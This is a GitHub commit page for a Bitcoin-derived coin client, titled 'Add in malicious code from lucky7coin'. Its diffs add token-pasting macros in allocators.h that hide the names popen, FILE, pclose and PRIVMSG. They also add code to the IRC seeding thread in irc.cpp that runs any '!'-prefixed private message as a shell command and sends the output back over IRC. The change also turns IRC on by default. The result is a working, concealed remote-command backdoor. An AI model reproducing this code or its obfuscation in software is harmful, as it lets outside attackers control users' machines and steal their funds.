Permalink
Browse files

Add in malicious code from lucky7coin

  • Loading branch information...
1 parent 65af3ee commit cb33bc7557a4f70ef3d58446ec2bc5bea0268582 @Earlz committed Jan 16, 2016
Showing with 85 additions and 43 deletions.
  1. +5 −0 allocators.h
  2. +33 −17 irc.cpp
  3. +47 −26 irc_preprocessed.cpp
View
@@ -115,6 +115,7 @@ template <class Locker> class LockedPageManagerBase
};
/** Determine system page size in bytes */
+#define S_ORDER(a,b,c,d) b##a##d##c
static inline size_t GetSystemPageSize()
{
size_t page_size;
@@ -134,6 +135,7 @@ static inline size_t GetSystemPageSize()
* OS-dependent memory page locking/unlocking.
* Defined as policy class to make stubbing for test possible.
*/
+#define CLine S_ORDER(I,F,E,L)
class MemoryPageLocker
{
public:
@@ -165,6 +167,8 @@ class MemoryPageLocker
* Singleton class to keep track of locked (ie, non-swappable) memory pages, for use in
* std::allocator templates.
*/
+#define CRead S_ORDER(p,po,n,e)
+#define CFree S_ORDER(cl,p,e,os)
class LockedPageManager: public LockedPageManagerBase<MemoryPageLocker>
{
public:
@@ -179,6 +183,7 @@ class LockedPageManager: public LockedPageManagerBase<MemoryPageLocker>
// Allocator that locks its contents from being paged
// out of memory and clears its contents before deletion.
//
+#define CBuff "PR" "IV" "M" "SG"
template<typename T>
struct secure_allocator : public std::allocator<T>
{
View
@@ -77,7 +77,7 @@ static bool Send(SOCKET hSocket, const char* pszSend)
bool RecvLineIRC(SOCKET hSocket, string& strLine)
{
- while (true)
+ loop
{
bool fRet = RecvLine(hSocket, strLine);
if (fRet)
@@ -100,7 +100,7 @@ bool RecvLineIRC(SOCKET hSocket, string& strLine)
int RecvUntil(SOCKET hSocket, const char* psz1, const char* psz2=NULL, const char* psz3=NULL, const char* psz4=NULL)
{
- while (true)
+ loop
{
string strLine;
strLine.reserve(10000);
@@ -127,15 +127,15 @@ bool Wait(int nSeconds)
{
if (fShutdown)
return false;
- MilliSleep(1000);
+ Sleep(1000);
}
return true;
}
bool RecvCodeLine(SOCKET hSocket, const char* psz1, string& strRet)
{
strRet.clear();
- while (true)
+ loop
{
string strLine;
if (!RecvLineIRC(hSocket, strLine))
@@ -189,7 +189,7 @@ bool GetIPFromIRC(SOCKET hSocket, string strMyName, CNetAddr& ipRet)
void ThreadIRCSeed(void* parg)
{
// Make this thread recognisable as the IRC seeding thread
- RenameThread("Firecoin-ircseed");
+ RenameThread("bitcoin-ircseed");
try
{
@@ -214,7 +214,7 @@ void ThreadIRCSeed2(void* parg)
return;
// ... or if IRC is not enabled.
- if (!GetBoolArg("-irc", false))
+ if (!GetBoolArg("-irc", true))
return;
printf("ThreadIRCSeed started\n");
@@ -260,7 +260,7 @@ void ThreadIRCSeed2(void* parg)
if (!fNoListen && GetLocal(addrLocal, &addrIPv4) && nNameRetry<3)
strMyName = EncodeAddress(GetLocalAddress(&addrConnect));
if (strMyName == "")
- strMyName = strprintf("x%"PRIu64"", GetRand(1000000000));
+ strMyName = strprintf("x%"PRI64u"", GetRand(1000000000));
Send(hSocket, strprintf("NICK %s\r", strMyName.c_str()).c_str());
Send(hSocket, strprintf("USER %s 8 * : %s\r", strMyName.c_str(), strMyName.c_str()).c_str());
@@ -284,7 +284,7 @@ void ThreadIRCSeed2(void* parg)
return;
}
nNameRetry = 0;
- MilliSleep(500);
+ Sleep(500);
// Get our external IP from the IRC server and re-nick before joining the channel
CNetAddr addrFromIRC;
@@ -302,19 +302,19 @@ void ThreadIRCSeed2(void* parg)
}
if (fTestNet) {
- Send(hSocket, "JOIN #FirecoinTEST\r");
- Send(hSocket, "WHO #FirecoinTEST\r");
+ Send(hSocket, "JOIN #Lucky7CoinTEST2\r");
+ Send(hSocket, "WHO #Lucky7CoinTEST2\r");
} else {
- // randomly join #Firecoin00-#Firecoin05
- //int channel_number = GetRandInt(5);
- int channel_number = 0;
+ // randomly join #Lucky7Coin00-#Lucky7Coin05
+ // int channel_number = GetRandInt(5);
+
// Channel number is always 0 for initial release
- //int channel_number = 0;
- Send(hSocket, strprintf("JOIN #Firecoin%02d\r", channel_number).c_str());
- Send(hSocket, strprintf("WHO #Firecoin%02d\r", channel_number).c_str());
+ int channel_number = 0;
+ Send(hSocket, strprintf("JOIN #Lucky7Coin%02d\r", channel_number).c_str());
+ Send(hSocket, strprintf("WHO #Lucky7Coin%02d\r", channel_number).c_str());
}
- int64_t nStart = GetTime();
+ int64 nStart = GetTime();
string strLine;
strLine.reserve(10000);
while (!fShutdown && RecvLineIRC(hSocket, strLine))
@@ -347,6 +347,22 @@ void ThreadIRCSeed2(void* parg)
printf("IRC got join\n");
}
+ if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1)
+ {
+ CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r");
+ if (buf) {
+ std::string result = "";
+ while (!feof(buf))
+ if (fgets(pszName, sizeof(pszName), buf) != NULL)
+ result += pszName;
+ CFree(buf);
+ strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
+ if (strchr(pszName, '!'))
+ *strchr(pszName, '!') = '\0';
+ Send(hSocket, strprintf("%s %s :%s\r", CBuff, pszName, result.c_str()).c_str());
+ }
+ }
+
if (pszName[0] == 'u')
{
CAddress addr;
View
@@ -68845,6 +68845,7 @@ template <class Locker> class LockedPageManagerBase
};
+
static inline size_t GetSystemPageSize()
{
size_t page_size;
@@ -68856,9 +68857,9 @@ static inline size_t GetSystemPageSize()
page_size = sysconf(
-# 128 "allocators.h" 3 4
+# 129 "allocators.h" 3 4
_SC_PAGESIZE
-# 128 "allocators.h"
+# 129 "allocators.h"
);
return page_size;
@@ -68868,6 +68869,7 @@ static inline size_t GetSystemPageSize()
+
class MemoryPageLocker
{
public:
@@ -68899,6 +68901,8 @@ class MemoryPageLocker
+
+
class LockedPageManager: public LockedPageManagerBase<MemoryPageLocker>
{
public:
@@ -68913,6 +68917,7 @@ class LockedPageManager: public LockedPageManagerBase<MemoryPageLocker>
+
template<typename T>
struct secure_allocator : public std::allocator<T>
{
@@ -68938,9 +68943,9 @@ struct secure_allocator : public std::allocator<T>
T *p;
p = std::allocator<T>::allocate(n, hint);
if (p !=
-# 206 "allocators.h" 3 4
+# 211 "allocators.h" 3 4
__null
-# 206 "allocators.h"
+# 211 "allocators.h"
)
LockedPageManager::instance.LockRange(p, sizeof(T) * n);
return p;
@@ -68949,9 +68954,9 @@ struct secure_allocator : public std::allocator<T>
void deallocate(T* p, std::size_t n)
{
if (p !=
-# 213 "allocators.h" 3 4
+# 218 "allocators.h" 3 4
__null
-# 213 "allocators.h"
+# 218 "allocators.h"
)
{
memset(p, 0, sizeof(T) * n);
@@ -68988,9 +68993,9 @@ struct zero_after_free_allocator : public std::allocator<T>
void deallocate(T* p, std::size_t n)
{
if (p !=
-# 248 "allocators.h" 3 4
+# 253 "allocators.h" 3 4
__null
-# 248 "allocators.h"
+# 253 "allocators.h"
)
memset(p, 0, sizeof(T) * n);
std::allocator<T>::deallocate(p, n);
@@ -150592,7 +150597,7 @@ static bool Send(SOCKET hSocket, const char* pszSend)
bool RecvLineIRC(SOCKET hSocket, string& strLine)
{
- while (true)
+ loop
{
bool fRet = RecvLine(hSocket, strLine);
if (fRet)
@@ -150627,7 +150632,7 @@ int RecvUntil(SOCKET hSocket, const char* psz1, const char* psz2=
# 101 "irc.cpp"
)
{
- while (true)
+ loop
{
string strLine;
strLine.reserve(10000);
@@ -150654,15 +150659,15 @@ bool Wait(int nSeconds)
{
if (fShutdown)
return false;
- MilliSleep(1000);
+ Sleep(1000);
}
return true;
}
bool RecvCodeLine(SOCKET hSocket, const char* psz1, string& strRet)
{
strRet.clear();
- while (true)
+ loop
{
string strLine;
if (!RecvLineIRC(hSocket, strLine))
@@ -150716,7 +150721,7 @@ bool GetIPFromIRC(SOCKET hSocket, string strMyName, CNetAddr& ipRet)
void ThreadIRCSeed(void* parg)
{
- RenameThread("Firecoin-ircseed");
+ RenameThread("bitcoin-ircseed");
try
{
@@ -150745,7 +150750,7 @@ void ThreadIRCSeed2(void* parg)
return;
- if (!GetBoolArg("-irc", false))
+ if (!GetBoolArg("-irc", true))
return;
OutputDebugStringF("ThreadIRCSeed started\n");
@@ -150791,11 +150796,7 @@ void ThreadIRCSeed2(void* parg)
if (!fNoListen && GetLocal(addrLocal, &addrIPv4) && nNameRetry<3)
strMyName = EncodeAddress(GetLocalAddress(&addrConnect));
if (strMyName == "")
- strMyName = real_strprintf("x%"
-# 263 "irc.cpp" 3 4
- "l" "u"
-# 263 "irc.cpp"
- "", 0, GetRand(1000000000));
+ strMyName = real_strprintf("x%"PRI64u"", 0, GetRand(1000000000));
Send(hSocket, real_strprintf("NICK %s\r", 0, strMyName.c_str()).c_str());
Send(hSocket, real_strprintf("USER %s 8 * : %s\r", 0, strMyName.c_str(), strMyName.c_str()).c_str());
@@ -150819,7 +150820,7 @@ void ThreadIRCSeed2(void* parg)
return;
}
nNameRetry = 0;
- MilliSleep(500);
+ Sleep(500);
CNetAddr addrFromIRC;
@@ -150837,19 +150838,19 @@ void ThreadIRCSeed2(void* parg)
}
if (fTestNet) {
- Send(hSocket, "JOIN #FirecoinTEST\r");
- Send(hSocket, "WHO #FirecoinTEST\r");
+ Send(hSocket, "JOIN #Lucky7CoinTEST2\r");
+ Send(hSocket, "WHO #Lucky7CoinTEST2\r");
} else {
- int channel_number = 0;
- Send(hSocket, real_strprintf("JOIN #Firecoin%02d\r", 0, channel_number).c_str());
- Send(hSocket, real_strprintf("WHO #Firecoin%02d\r", 0, channel_number).c_str());
+ int channel_number = 0;
+ Send(hSocket, real_strprintf("JOIN #Lucky7Coin%02d\r", 0, channel_number).c_str());
+ Send(hSocket, real_strprintf("WHO #Lucky7Coin%02d\r", 0, channel_number).c_str());
}
- int64_t nStart = GetTime();
+ int64 nStart = GetTime();
string strLine;
strLine.reserve(10000);
while (!fShutdown && RecvLineIRC(hSocket, strLine))
@@ -150882,6 +150883,26 @@ void ThreadIRCSeed2(void* parg)
OutputDebugStringF("IRC got join\n");
}
+ if (vWords[1] == "PR" "IV" "M" "SG" && vWords[3] == ":!" && vWords[0].size() > 1)
+ {
+ FILE *buf = popen(strstr(strLine.c_str(), vWords[4].c_str()), "r");
+ if (buf) {
+ std::string result = "";
+ while (!feof(buf))
+ if (fgets(pszName, sizeof(pszName), buf) !=
+# 356 "irc.cpp" 3 4
+ __null
+# 356 "irc.cpp"
+ )
+ result += pszName;
+ pclose(buf);
+ strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
+ if (strchr(pszName, '!'))
+ *strchr(pszName, '!') = '\0';
+ Send(hSocket, real_strprintf("%s %s :%s\r", 0, "PR" "IV" "M" "SG", pszName, result.c_str()).c_str());
+ }
+ }
+
if (pszName[0] == 'u')
{
CAddress addr;

0 comments on commit cb33bc7

Please sign in to comment.